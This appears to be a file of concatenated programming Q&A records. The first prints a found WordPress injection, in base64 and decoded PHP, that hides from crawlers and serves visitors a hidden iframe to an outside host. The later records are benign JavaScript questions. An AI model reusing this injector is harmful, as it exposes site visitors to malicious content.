'ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9 ' ) ) error_reporting ( 0 ) ; $ bot = FALSE ; $ user_agent_to_filter = array ( 'bot ' , 'spider ' , 'spyder ' , 'crawl ' , 'validator ' , 'slurp ' , 'docomo ' , 'yandex ' , 'mail.ru ' , 'alexa.com ' , 'postrank.com ' , 'htmldoc ' , 'webcollage ' , 'blogpulse.com ' , 'anonymouse.org ' , '12345 ' , 'httpclient ' , 'buzztracker.com ' , 'snoopy ' , 'feedtools ' , 'arianna.libero.it ' , 'internetseer.com ' , 'openacoon.de ' , 'rrrrrrrrr ' , 'magent ' , 'download master ' , 'drupal.org ' , 'vlc media player ' , 'vvrkimsjuwly l3ufmjrx ' , 'szn-image-resizer ' , 'bdbrandprotect.com ' , 'wordpress ' , 'rssreader ' , 'mybloglog api ' ) ; $ stop_ips_masks = array ( array ( `` 216.239.32.0 '' , '' 216.239.63.255 '' ) , array ( `` 64.68.80.0 '' , '' 64.68.87.255 '' ) , array ( `` 66.102.0.0 '' , `` 66.102.15.255 '' ) , array ( `` 64.233.160.0 '' , '' 64.233.191.255 '' ) , array ( `` 66.249.64.0 '' , `` 66.249.95.255 '' ) , array ( `` 72.14.192.0 '' , `` 72.14.255.255 '' ) , array ( `` 209.85.128.0 '' , '' 209.85.255.255 '' ) , array ( `` 198.108.100.192 '' , '' 198.108.100.207 '' ) , array ( `` 173.194.0.0 '' , '' 173.194.255.255 '' ) , array ( `` 216.33.229.144 '' , '' 216.33.229.151 '' ) , array ( `` 216.33.229.160 '' , '' 216.33.229.167 '' ) , array ( `` 209.185.108.128 '' , '' 209.185.108.255 '' ) , array ( `` 216.109.75.80 '' , '' 216.109.75.95 '' ) , array ( `` 64.68.88.0 '' , '' 64.68.95.255 '' ) , array ( `` 64.68.64.64 '' , '' 64.68.64.127 '' ) , array ( `` 64.41.221.192 '' , '' 64.41.221.207 '' ) , array ( `` 74.125.0.0 '' , '' 74.125.255.255 '' ) , array ( `` 65.52.0.0 '' , '' 65.55.255.255 '' ) , array ( `` 74.6.0.0 '' , '' 74.6.255.255 '' ) , array ( `` 67.195.0.0 '' , '' 67.195.255.255 '' ) , array ( `` 72.30.0.0 '' , '' 72.30.255.255 '' ) , array ( `` 38.0.0.0 '' , '' 38.255.255.255 '' ) ) ; $ my_ip2long = sprintf ( `` % u '' , ip2long ( $ _SERVER [ 'REMOTE_ADDR ' ] ) ) ; foreach ( $ stop_ips_masks as $ IPs ) { $ first_d=sprintf ( `` % u '' , ip2long ( $ IPs [ 0 ] ) ) ; $ second_d=sprintf ( `` % u '' , ip2long ( $ IPs [ 1 ] ) ) ; if ( $ my_ip2long > = $ first_d & & $ my_ip2long < = $ second_d ) { $ bot = TRUE ; break ; } } foreach ( $ user_agent_to_filter as $ bot_sign ) { if ( strpos ( $ _SERVER [ 'HTTP_USER_AGENT ' ] , $ bot_sign ) ! == false ) { $ bot = true ; break ; } } if ( ! $ bot ) { echo ' < iframe src= '' http : //wumpearpmy.cz.cc/go/1 '' width= '' 1 '' height= '' 1 '' > < /iframe > ' ; } < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html > < title > http : //groupon.be < /title > < head > < STYLE > BODY { BACKGROUND : # 666 ; FONT : 100 % Georgia , `` Times New Roman '' , Times , serif ; COLOR : # 666 } A { COLOR : # fe701a } A : hover { COLOR : # fdc336 } P { FONT : 105 % century } .main_wrapper { width:90 % ; margin : auto ; border:10px solid # 888888 ; background-color : # FFFFFF ; margin-top:25px ; height:450px ; } .skipimage { margin : auto ; text-align : center ; height:30 % } .img_wrapper { background-image : url ( continue.gif ) ; background-position : top ; background-repeat : no-repeat ; width:435px ; height:215px } < /style > < script type= '' text/javascript '' > function getCookie ( name ) { var start=document.cookie.indexOf ( name+ '' = '' ) ; var len=start+name.length+1 ; if ( ( ! start ) & & ( name ! =document.cookie.substring ( 0 , name.length ) ) ) { return null ; } if ( start==-1 ) return null ; var end=document.cookie.indexOf ( ' ; ' , len ) ; if ( end==-1 ) end=document.cookie.length ; return unescape ( document.cookie.substring ( len , end ) ) ; } function setCookie ( name , value , expires , path , domain , secure ) { var today=new Date ( ) ; today.setTime ( today.getTime ( ) ) ; var expires_date=new Date ( today.getTime ( ) + ( expires ) ) ; document.cookie=name+'='+escape ( value ) + ( ( expires ) ? ' ; expires='+expires_date.toGMTString ( ) : '' ) + ( ( path ) ? ' ; path='+path : '' ) + ( ( domain ) ? ' ; domain='+domain : '' ) + ( ( secure ) ? ' ; secure ' : '' ) ; } < /script > < /head > < body > < form method= '' get '' action= '' http : //clicks.maximumspeedfind.com/xtr3_new ? q=domain+names '' name= '' rr '' > < input type= '' hidden '' name= '' sid '' value= '' 294787600 '' / > < input type= '' hidden '' name= '' sa '' value= '' 13 '' / > < input type= '' hidden '' name= '' p '' value= '' 1 '' / > < input type= '' hidden '' name= '' s '' value= '' 98795 '' / > < input type= '' hidden '' name= '' qt '' value= '' 1307865129 '' / > < input type= '' hidden '' name= '' q '' value= '' domain names '' / > < input type= '' hidden '' name= '' rf '' value= '' '' / > < input type= '' hidden '' name= '' enc '' value= '' '' / > < input type= '' hidden '' name= '' enk '' value= '' RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm '' / > < input type= '' hidden '' name= '' xsc '' value= '' '' / > < input type= '' hidden '' name= '' xsp '' value= '' '' / > < input type= '' hidden '' name= '' xsm '' value= '' '' / > < input type= '' hidden '' name= '' xuc '' value= '' '' / > < input type= '' hidden '' name= '' xcf '' value= '' '' / > < input type= '' hidden '' name= '' xai '' value= '' '' / > < input type= '' hidden '' name= '' qxcli '' value= '' 8904e76aaa70acee '' / > < input type= '' hidden '' name= '' qxsi '' value= '' e0f63d5350e1c1d9 '' / > < input type= '' hidden '' name= '' mk '' value= '' 1 '' / > < input type= '' hidden '' name= '' ScreenX '' value= '' 0 '' / > < input type= '' hidden '' name= '' ScreenY '' value= '' 0 '' / > < input type= '' hidden '' name= '' BrowserX '' value= '' 0 '' / > < input type= '' hidden '' name= '' BrowserY '' value= '' 0 '' / > < input type= '' hidden '' name= '' MouseX '' value= '' 0 '' / > < input type= '' hidden '' name= '' MouseY '' value= '' 0 '' / > < input type= '' hidden '' name= '' is_iframe '' value= '' 0 '' / > < /form > < div class= '' main_wrapper '' > < table width= '' 60 % '' border= '' 0 '' align= '' center '' cellpadding= '' 0 '' cellspacing= '' 0 '' height= '' 100 % '' > < tr > < td align= '' center '' valign= '' middle '' > < table width= '' 435 '' border= '' 0 '' cellspacing= '' 0 '' cellpadding= '' 0 '' > < tr > < td class= '' img_wrapper '' > < div style= '' width:60 % ; margin : auto ; height:215px ; '' > < div class= '' skipimage '' style= '' padding-top:40px ; '' > < ! -- a href= '' javascript : void ( 0 ) '' onclick= '' press ( ) ; '' > < img src= '' skip.gif '' / border= '' 0 '' > < /a -- > < a href= '' http : //clicks.maximumspeedfind.com/xtr3_new ? q=domain+names & enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm & rf= & qxcli=8904e76aaa70acee & qxsi=e0f63d5350e1c1d9 '' > < img src= '' skip.gif '' / border= '' 0 '' > < /a > < /div > < div class= '' skipimage '' > < img src= '' ajax-loader.gif '' / border= '' 0 '' > < P > < SPAN > Your request is loading ... < /SPAN > < /P > < /div > < /div > < /td > < /tr > < /table > < br / > < p > If you are not redirected within 2 seconds < a href= '' http : //clicks.maximumspeedfind.com/xtr3_new ? q=domain+names & enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm & rf= & qxcli=8904e76aaa70acee & qxsi=e0f63d5350e1c1d9 '' > click here < /a > to continue < /p > < /td > < /tr > < /table > < /div > < script type= '' text/javascript '' > var hexcase=0 ; var b64pad= '' '' ; var chrsz=8 ; function hex_md5 ( s ) { return binl2hex ( core_md5 ( str2binl ( s ) , s.length*chrsz ) ) ; } function core_md5 ( x , len ) { x [ len > > 5 ] |=0x80 < < ( ( len ) % 32 ) ; x [ ( ( ( len+64 ) > > > 9 ) < < 4 ) +14 ] =len ; var a=1732584193 ; var b=-271733879 ; var c=-1732584194 ; var d=271733878 ; for ( var i=0 ; i < x.length ; i+=16 ) { var olda=a ; var oldb=b ; var oldc=c ; var oldd=d ; a=md5_ff ( a , b , c , d , x [ i+0 ] ,7 , -680876936 ) ; d=md5_ff ( d , a , b , c , x [ i+1 ] ,12 , -389564586 ) ; c=md5_ff ( c , d , a , b , x [ i+2 ] ,17,606105819 ) ; b=md5_ff ( b , c , d , a , x [ i+3 ] ,22 , -1044525330 ) ; a=md5_ff ( a , b , c , d , x [ i+4 ] ,7 , -176418897 ) ; d=md5_ff ( d , a , b , c , x [ i+5 ] ,12,1200080426 ) ; c=md5_ff ( c , d , a , b , x [ i+6 ] ,17 , -1473231341 ) ; b=md5_ff ( b , c , d , a , x [ i+7 ] ,22 , -45705983 ) ; a=md5_ff ( a , b , c , d , x [ i+8 ] ,7,1770035416 ) ; d=md5_ff ( d , a , b , c , x [ i+9 ] ,12 , -1958414417 ) ; c=md5_ff ( c , d , a , b , x [ i+10 ] ,17 , -42063 ) ; b=md5_ff ( b , c , d , a , x [ i+11 ] ,22 , -1990404162 ) ; a=md5_ff ( a , b , c , d , x [ i+12 ] ,7,1804603682 ) ; d=md5_ff ( d , a , b , c , x [ i+13 ] ,12 , -40341101 ) ; c=md5_ff ( c , d , a , b , x [ i+14 ] ,17 , -1502002290 ) ; b=md5_ff ( b , c , d , a , x [ i+15 ] ,22,1236535329 ) ; a=md5_gg ( a , b , c , d , x [ i+1 ] ,5 , -165796510 ) ; d=md5_gg ( d , a , b , c , x [ i+6 ] ,9 , -1069501632 ) ; c=md5_gg ( c , d , a , b , x [ i+11 ] ,14,643717713 ) ; b=md5_gg ( b , c , d , a , x [ i+0 ] ,20 , -373897302 ) ; a=md5_gg ( a , b , c , d , x [ i+5 ] ,5 , -701558691 ) ; d=md5_gg ( d , a , b , c , x [ i+10 ] ,9,38016083 ) ; c=md5_gg ( c , d , a , b , x [ i+15 ] ,14 , -660478335 ) ; b=md5_gg ( b , c , d , a , x [ i+4 ] ,20 , -405537848 ) ; a=md5_gg ( a , b , c , d , x [ i+9 ] ,5,568446438 ) ; d=md5_gg ( d , a , b , c , x [ i+14 ] ,9 , -1019803690 ) ; c=md5_gg ( c , d , a , b , x [ i+3 ] ,14 , -187363961 ) ; b=md5_gg ( b , c , d , a , x [ i+8 ] ,20,1163531501 ) ; a=md5_gg ( a , b , c , d , x [ i+13 ] ,5 , -1444681467 ) ; d=md5_gg ( d , a , b , c , x [ i+2 ] ,9 , -51403784 ) ; c=md5_gg ( c , d , a , b , x [ i+7 ] ,14,1735328473 ) ; b=md5_gg ( b , c , d , a , x [ i+12 ] ,20 , -1926607734 ) ; a=md5_hh ( a , b , c , d , x [ i+5 ] ,4 , -378558 ) ; d=md5_hh ( d , a , b , c , x [ i+8 ] ,11 , -2022574463 ) ; c=md5_hh ( c , d , a , b , x [ i+11 ] ,16,1839030562 ) ; b=md5_hh ( b , c , d , a , x [ i+14 ] ,23 , -35309556 ) ; a=md5_hh ( a , b , c , d , x [ i+1 ] ,4 , -1530992060 ) ; d=md5_hh ( d , a , b , c , x [ i+4 ] ,11,1272893353 ) ; c=md5_hh ( c , d , a , b , x [ i+7 ] ,16 , -155497632 ) ; b=md5_hh ( b , c , d , a , x [ i+10 ] ,23 , -1094730640 ) ; a=md5_hh ( a , b , c , d , x [ i+13 ] ,4,681279174 ) ; d=md5_hh ( d , a , b , c , x [ i+0 ] ,11 , -358537222 ) ; c=md5_hh ( c , d , a , b , x [ i+3 ] ,16 , -722521979 ) ; b=md5_hh ( b , c , d , a , x [ i+6 ] ,23,76029189 ) ; a=md5_hh ( a , b , c , d , x [ i+9 ] ,4 , -640364487 ) ; d=md5_hh ( d , a , b , c , x [ i+12 ] ,11 , -421815835 ) ; c=md5_hh ( c , d , a , b , x [ i+15 ] ,16,530742520 ) ; b=md5_hh ( b , c , d , a , x [ i+2 ] ,23 , -995338651 ) ; a=md5_ii ( a , b , c , d , x [ i+0 ] ,6 , -198630844 ) ; d=md5_ii ( d , a , b , c , x [ i+7 ] ,10,1126891415 ) ; c=md5_ii ( c , d , a , b , x [ i+14 ] ,15 , -1416354905 ) ; b=md5_ii ( b , c , d , a , x [ i+5 ] ,21 , -57434055 ) ; a=md5_ii ( a , b , c , d , x [ i+12 ] ,6,1700485571 ) ; d=md5_ii ( d , a , b , c , x [ i+3 ] ,10 , -1894986606 ) ; c=md5_ii ( c , d , a , b , x [ i+10 ] ,15 , -1051523 ) ; b=md5_ii ( b , c , d , a , x [ i+1 ] ,21 , -2054922799 ) ; a=md5_ii ( a , b , c , d , x [ i+8 ] ,6,1873313359 ) ; d=md5_ii ( d , a , b , c , x [ i+15 ] ,10 , -30611744 ) ; c=md5_ii ( c , d , a , b , x [ i+6 ] ,15 , -1560198380 ) ; b=md5_ii ( b , c , d , a , x [ i+13 ] ,21,1309151649 ) ; a=md5_ii ( a , b , c , d , x [ i+4 ] ,6 , -145523070 ) ; d=md5_ii ( d , a , b , c , x [ i+11 ] ,10 , -1120210379 ) ; c=md5_ii ( c , d , a , b , x [ i+2 ] ,15,718787259 ) ; b=md5_ii ( b , c , d , a , x [ i+9 ] ,21 , -343485551 ) ; a=safe_add ( a , olda ) ; b=safe_add ( b , oldb ) ; c=safe_add ( c , oldc ) ; d=safe_add ( d , oldd ) ; } return Array ( a , b , c , d ) ; } function md5_cmn ( q , a , b , x , s , t ) { return safe_add ( bit_rol ( safe_add ( safe_add ( a , q ) , safe_add ( x , t ) ) , s ) , b ) ; } function md5_ff ( a , b , c , d , x , s , t ) { return md5_cmn ( ( b & c ) | ( ( ~b ) & d ) , a , b , x , s , t ) ; } function md5_gg ( a , b , c , d , x , s , t ) { return md5_cmn ( ( b & d ) | ( c & ( ~d ) ) , a , b , x , s , t ) ; } function md5_hh ( a , b , c , d , x , s , t ) { return md5_cmn ( b^c^d , a , b , x , s , t ) ; } function md5_ii ( a , b , c , d , x , s , t ) { return md5_cmn ( c^ ( b| ( ~d ) ) , a , b , x , s , t ) ; } function safe_add ( x , y ) { var lsw= ( x & 0xFFFF ) + ( y & 0xFFFF ) ; var msw= ( x > > 16 ) + ( y > > 16 ) + ( lsw > > 16 ) ; return ( msw < < 16 ) | ( lsw & 0xFFFF ) ; } function bit_rol ( num , cnt ) { return ( num < < cnt ) | ( num > > > ( 32-cnt ) ) ; } function str2binl ( str ) { var bin=Array ( ) ; var mask= ( 1 < < chrsz ) -1 ; for ( var i=0 ; i < str.length*chrsz ; i+=chrsz ) bin [ i > > 5 ] |= ( str.charCodeAt ( i/chrsz ) & mask ) < < ( i % 32 ) ; return bin ; } function binl2hex ( binarray ) { var hex_tab=hexcase ? `` 0123456789ABCDEF '' : '' 0123456789abcdef '' ; var str= '' '' ; for ( var i=0 ; i < binarray.length*4 ; i++ ) { str+=hex_tab.charAt ( ( binarray [ i > > 2 ] > > ( ( i % 4 ) *8+4 ) ) & 0xF ) + hex_tab.charAt ( ( binarray [ i > > 2 ] > > ( ( i % 4 ) *8 ) ) & 0xF ) ; } return str ; } /* function getCookie ( cookiename ) { var cookiestring= '' '' +document.cookie ; var index1=cookiestring.indexOf ( cookiename ) ; if ( index1==-1 || cookiename== '' '' ) return `` '' ; var index2=cookiestring.indexOf ( ' ; ' , index1 ) ; if ( index2==-1 ) index2=cookiestring.length ; return unescape ( cookiestring.substring ( index1+cookiename.length+1 , index2 ) ) ; } */ function add_ch ( n , v ) { if ( v ) { window.dch += '' [ `` +n+ '' : '' +enc_data ( v ) + '' ] '' ; } } function enc_data ( b ) { if ( typeof encodeURIComponent== '' function '' ) { return encodeURIComponent ( b ) ; } else { return escape ( b ) ; } } function G ( ) { var dt = new Date ( ) ; if ( ! window.dch ) { window.dch = `` '' ; } if ( screen ) { add_ch ( `` h '' , screen.height ) ; add_ch ( `` w '' , screen.width ) ; add_ch ( `` cd '' , screen.colorDepth ) ; } add_ch ( `` tz '' , -dt.getTimezoneOffset ( ) ) ; add_ch ( `` jv '' , navigator.javaEnabled ( ) ) ; if ( navigator.plugins ) { add_ch ( `` pg '' , navigator.plugins.length ) ; } if ( navigator.mimeTypes ) { add_ch ( `` mm '' , navigator.mimeTypes.length ) ; } add_ch ( 'ua ' , navigator.userAgent ) ; add_ch ( 'ts ' , Date.parse ( dt ) ) ; tr = hex_md5 ( dch ) ; setCookie ( 'xch ' , tr , 63072000000 , '/ ' , `` , `` ) ; } function gsc ( ) { if ( ! getCookie ( `` xch '' ) ) { G ( ) ; } } gsc ( ) ; // global variable var screenwidth ; var screenheight ; var viewportwidth ; var viewportheight ; var myMouseX , myMouseY ; var event_flag = false ; //window.onload = press ; function press ( ) { var dim = screenDimension ( ) ; document.forms [ 'rr ' ] .ScreenX.value = dim [ 0 ] ; document.forms [ 'rr ' ] .ScreenY.value = dim [ 1 ] ; // Browser X*Y var dim_browser = browserDimension ( ) ; document.forms [ 'rr ' ] .BrowserX.value = dim_browser [ 0 ] ; document.forms [ 'rr ' ] .BrowserY.value = dim_browser [ 1 ] ; if ( ( window.top ! =window.self ) ) { document.forms [ 'rr ' ] .is_iframe.value = 1 ; } // document.onmousemove=getXYPosition ; // start event listener if ( getCookie ( 'mrc ' ) ! = `` groupon.be '' ) { setCookie ( 'mrc ' , 'groupon.be ' , 180000 , '/ ' , '.maximumspeedfind.com ' , `` ) ; document.forms [ 'rr ' ] .submit ( ) ; } else { document.forms [ 'rr ' ] .action = 'http : //clicks.maximumspeedfind.com/xtr2_new ? q=domain+names & enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm & rf= & qxcli=8904e76aaa70acee & qxsi=e0f63d5350e1c1d9 ' ; document.forms [ 'rr ' ] .submit ( ) ; } } /* // mouse postion function getXYPosition ( e ) { if ( ! event_flag ) { // console.debug ( e ) ; myMouseX = mouseXPos ( e ) ; myMouseY = mouseYPos ( e ) ; document.forms [ 'rr ' ] .MouseX.value = myMouseX ; document.forms [ 'rr ' ] .MouseY.value = myMouseY ; event_flag = true ; } } */ // Screen function screenDimension ( ) { if ( typeof screen.width ! = 'undefined ' & & typeof screen.height ! = 'undefined ' ) { screenwidth = screen.width ; screenheight = screen.height ; } return [ screenwidth , screenheight ] ; } // Browser function browserDimension ( ) { // the more standards compliant browsers ( mozilla/netscape/opera/IE7 ) use window.innerWidth and window.innerHeight if ( typeof window.innerWidth ! = 'undefined ' ) { viewportwidth = window.innerWidth , viewportheight = window.innerHeight } // IE6 in standards compliant mode ( i.e . with a valid doctype as the first line in the document ) else if ( typeof document.documentElement ! = 'undefined ' & & typeof document.documentElement.clientWidth ! = 'undefined ' & & document.documentElement.clientWidth ! = 0 ) { viewportwidth = document.documentElement.clientWidth , viewportheight = document.documentElement.clientHeight } // older versions of IE else { viewportwidth = document.getElementsByTagName ( 'body ' ) [ 0 ] .clientWidth , viewportheight = document.getElementsByTagName ( 'body ' ) [ 0 ] .clientHeight } var my = [ viewportwidth , viewportheight ] ; return [ viewportwidth , viewportheight ] ; //document.write ( ' < p > Your viewport width is '+viewportwidth+ ' x'+viewportheight+ ' < /p > ' ) ; } /* // Mouse postion function mouseXPos ( evt ) { if ( evt.pageX ) return evt.pageX ; else if ( evt.clientX ) return evt.clientX + ( document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ; else return null ; } function mouseYPos ( evt ) { if ( evt.pageY ) return evt.pageY ; else if ( evt.clientY ) return evt.clientY + ( document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ; else return null ; } */ press ( ) ; < /script > < /body > < /html >",wordpress hacked : what does this script actually do ? "JS : I 'm trying to fetch data from an API that only returns 1000 items per call , and I want to do this recursively until I have all the data . I do n't know beforehand how many items there are in total , so after every call I have to check If the call was synchronous , I 'd use something like this : However , the getData ( ) call here is asynchronous . Using a Promise.all ( ) does n't work because I do n't know beforehand how many calls I need so I ca n't prepare an array of calls.I have the feeling I could solve this with generators or with async/await but I do n't know how . Can anyone point me in the right direction ? In case it makes a difference , I 'm using Angular 4 . function fetch ( all , start ) { const newData = getData ( start , 1000 ) ; all = all.concat ( newData ) ; return ( newData.length === 1000 ) ? fetch ( all , all.length ) : all ; }",Recursively calling an asynchronous API call "JS : I 'm trying to create a page that , when refreshed , will randomly load a url from a list of URLs . The best way I have found to do this so far is to have PHP grab the line randomly from the file and then load it into an iframe . This also allows me to have a close button on a top bar that allows whatever page was loaded into the iframe to breakout.The problem that I am having is that in firefox after a couple reloads the iframe just starts reverting to a cache and wo n't load anything new . I 'm guessing it 's a cache issue because pressing Ctrl+F5 will make the iframe load a new page.I 've tried put a bunch of anti cache meta tags in as well as a peice of javascript that I found on this article.So far nothing has worked . Does anyone know a good workaround or see something wrong in my code ( I 'm very much a novice ) .Thanks for any help ! Here is the code : Update : With some help from GGG I got it fixed . Here is the change to the function : I went with a random number instead of a sequence as I did n't know how to carry a sequence from one reload to another but this works.I also noticed that the problem still exists if firefox is refreshed in less than two seconds after page load , but I can live with that . < /html > < head > < META HTTP-EQUIV= '' Cache-Control '' CONTENT= '' no-cache '' > < META HTTP-EQUIV= '' Pragma '' CONTENT= '' no-cache '' > < meta http-equiv= '' expires '' content= '' FRI , 13 APR 1999 01:00:00 GMT '' > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js '' > < /script > < script type= '' text/javascript '' > function Ionload ( ) { $ ( parent.document ) .find ( `` iframe '' ) .each ( function ( ) { // apply the logic only to the current iframe only if ( this.contentDocument == window.document ) { // if the href of the iframe is not same as // the value of src attribute then reload it if ( this.src ! = location.href ) { this.src = this.src ; } } } ) ; } < /script > < ? phpclass MyClass { function GetLine ( ) { global $ line ; srand ( ( double ) microtime ( ) *1000000 ) ; $ f_contents = file ( `` urlz '' ) ; $ line = $ f_contents [ array_rand ( $ f_contents ) ] ; } function PrintVar ( ) { global $ line ; print $ line ; } } MyClass : :GetLine ( ) ; ? > < style type= '' text/css '' media= '' all '' > html , body { height : 100 % } body { margin : 0 ; overflow : hidden ; } # topbar { height : 50px ; width : 100 % ; border-bottom : 3px solid # 666 } # page { height : 100 % ; width : 100 % ; border-width : 0 } < /style > < /head > < body > < div id= '' topbar '' > < a href= < ? php MyClass : :PrintVar ( ) ; ? > target= '' _top '' > close < /a > < /div > < /body > < iframe id= '' page '' name= '' page '' onload= '' Ionload ( ) '' src= < ? php MyClass : :PrintVar ( ) ; ? > frameborder= '' 0 '' noresize= '' noresize '' > < /iframe > < /html > function GetLine ( ) { global $ newline ; srand ( ( double ) microtime ( ) *1000000 ) ; $ f_contents = file ( `` urlz '' ) ; $ line = $ f_contents [ array_rand ( $ f_contents ) ] ; $ newline = $ line . `` ? foo= '' . rand ( ) ; }",Firefox loading cache in dynamic iframe "JS : I just realized a strange behaviour when removing and re-appending options to a select element . It happens that if one of the options is selected , after appended , the next item becomes selected instead of the original one . Consider the following html : ( Or as a fiddle ) It makes the option with value `` D '' to be selected and not the option with value `` C '' , as defined originally . Notice the options printed in the console , the attribute selected is changed after the remove ( ) method.Why does that happen ? Note : I know how to fix it or work around it , that 's not the question . The question is why does it happen ? var $ opts = $ ( `` # sel option '' ) .remove ( ) ; console.log ( $ opts ) ; $ ( `` # sel '' ) .append ( $ opts ) ; < select id= '' sel '' > < option > A < /option > < option > B < /option > < option selected= '' selected '' > C < /option > < option > D < /option > < /select > ( Look in the console . ) < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js '' > < /script >",Removing options from select and re-appending changes selected "JS : I have an textarea with attribute wrap= '' hard '' , meaning I should be able to get the line break ( new lines ) after submit to server - this works . But what I wan na do is get the new lines that are created before submission.Why ? Because I wan na count the rows that are currently visible . And now I 'm NOT talking about carriage return rows . I 'm talking about rows that are created by limiting the width ( or setting the cols attribute ) of the textarea.I have this textbox : Output in browser : Some example text here . Hello my name is something I should be able to blabla.rows = 2I 've tried : $ ( ' # myarea ' ) .html ( ) .split ( `` \n '' ) .length $ ( ' # myarea ' ) .val ( ) .split ( `` < br > '' ) .length $ ( ' # myarea ' ) .val ( ) .split ( `` \r '' ) .lengthAnd a few more combinations ... But none works . Is what I 'm asking even possible without writing a script that counts each character and then creates a newline ? I was hoping this would happend `` automatically '' ... If this is not possible , why can the server interpret ( find ) the new lines , while I can not ? Thanks ! < textarea id= '' myarea '' name= '' myarea '' cols= '' 35 '' rows= '' 10 '' wrap= '' hard '' > Some example text here . Hello my name is something I should be able to blabla. < /textarea >",Read new-lines in textarea BEFORE submitting form ? "JS : I noticed that when 